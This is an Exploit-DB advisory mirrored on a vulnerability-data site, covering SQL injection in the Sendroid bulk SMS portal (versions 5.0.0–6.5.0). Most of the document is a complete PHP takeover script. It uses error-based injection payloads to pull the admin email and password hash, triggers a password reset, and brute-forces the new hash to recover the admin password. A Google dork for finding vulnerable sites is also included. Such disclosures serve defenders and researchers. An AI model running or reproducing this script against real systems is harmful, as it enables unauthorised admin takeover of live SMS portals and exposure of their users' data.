Lucene search
K

Sendroid < 6.5.0 - SQL Injection

🗓️ 26 Dec 2017 00:00:00Reported by Onwuka GideonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Sendroid < 6.5.0 - SQL Injection exploitation script for automatic admin password retrieval and rese

Code
# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection
# Google Dork: "welcome to * SMS portal"
# Date: 22/12/2017
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>
Contact: http://twitter.com/@gideon_onwuka
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Version: 5.0.0 - 6.5.0
# Tested on: Mac OS


1. Description

The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"

2. Script (Automatic takeover)

Attached to mail

4. How to run Script
  You must have PHP installed on your system to run the script.

   - First, copy the code to a file and save(eg: sendroid_exploit.php)
   - Open up your command line and CD into the directory where you saved the file.
   - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"

Note: The URL should be a direct link to where the software is installed.

3. Proof of Concept
 
Run the script for example:
  php -f sendroid_exploit.php url=http://localhost/sms

<?php
/**
* A script to authomatically get admin password
* 
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>
* 
*/

parse_str(implode('&', array_slice($argv, 1)), $_GET);

$queries =[
	"sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",
	"sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",
	"sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",
];

$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";
// 

checkCommands();

print_r(getEmailAndPassword($_GET['url'], $payload, $queries));


/**
*
* Checks if minimum expected command is issued 
* 
* @param: $_GET
* @return; Boolean 
**/


function checkCommands(){
    
    //url  && shell
    $url = $_GET['url'] ?? "";
    
    if( $url == "" ) {

    	"Please enter a target";

    	help();
    	exit(1);
    }
}

// Print help message
function help(){

	echo "Invalid command " . PHP_EOL;
	echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;
	echo "" . PHP_EOL;
}


// ==
// == Reset password and Get the Password hash
// ==
function getEmailAndPassword($url, $payload, $queries){
   
   //>> Fetch admin email
   echo "Fetching admin email....:";
     $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);
     $email = extractValue(makeRequest($sql_get_email));
   echo $email . PHP_EOL.PHP_EOL;
   //<< EndFetch admin email

   //>> Fetch admin old pass
   echo "Fetching admin old password...:";
     $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');
   echo $old_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin old

   // Now we have the old password and admin email
   // reset password
   echo "Resetting password...:"; 
     $forgot_password = $url . "/administrator/index.php?reset&p";
     makeRequest($forgot_password, "POST", ["userEmail" => $email]);
   echo " Done!" . PHP_EOL.PHP_EOL;

   //>> Fetch admin new password
   echo "Getting new password...:";
     $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);
     $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);
     $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');
   echo $new_password . PHP_EOL.PHP_EOL;
   //<< End Fetch admin new password

   //>> Cracking password
   echo "Craking password...:";
     $password = crackPassword($new_password);
   echo $password . PHP_EOL.PHP_EOL;
   //<< Cracking password

   // return $sql_get_email;
   return ["email" => $email, "password" => $password];
}

//
// POST and GET request
// ==
function makeRequest($url, $method = "GET", $parameter = []){

	// Get cURL resource
	$curl = curl_init();
	// Set some options - we are passing in a useragent too here
	if( strtolower($method) == "post" ){
		curl_setopt_array($curl, [
		    CURLOPT_RETURNTRANSFER => 1,
		    CURLOPT_URL => $url,
		    CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
		    CURLOPT_POST => 1,
		    CURLOPT_POSTFIELDS => $parameter
		]);
    }
    else{

    	curl_setopt_array($curl, [
		    CURLOPT_RETURNTRANSFER => 1,
		    CURLOPT_URL => $url,
		    CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'
		]);
    }
	// Send the request & save response to $resp
	$resp = curl_exec($curl);
	// Close request to clear up some resources
	curl_close($curl);

	return $resp;
}

// Extract the real value 
function extractValue($payload, $what = "email"){
   
   $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";  
   $replacements = [];  $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
   
   $result = preg_replace($patterns, $replacements, $payload);
     
    return substr($result, 0, -1);
}


function crackPassword($password){
    
   echo " cracking... please wait... ";

   $pwsalt = explode( ":",$password );	

   for ($i=1; $i < 20000000000000 ; $i++) { 

   	 if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {	

       return $i;
     }

   }

   return "Could not crack password";
}

If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/

4. Solution:
   
Update to the latest version

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation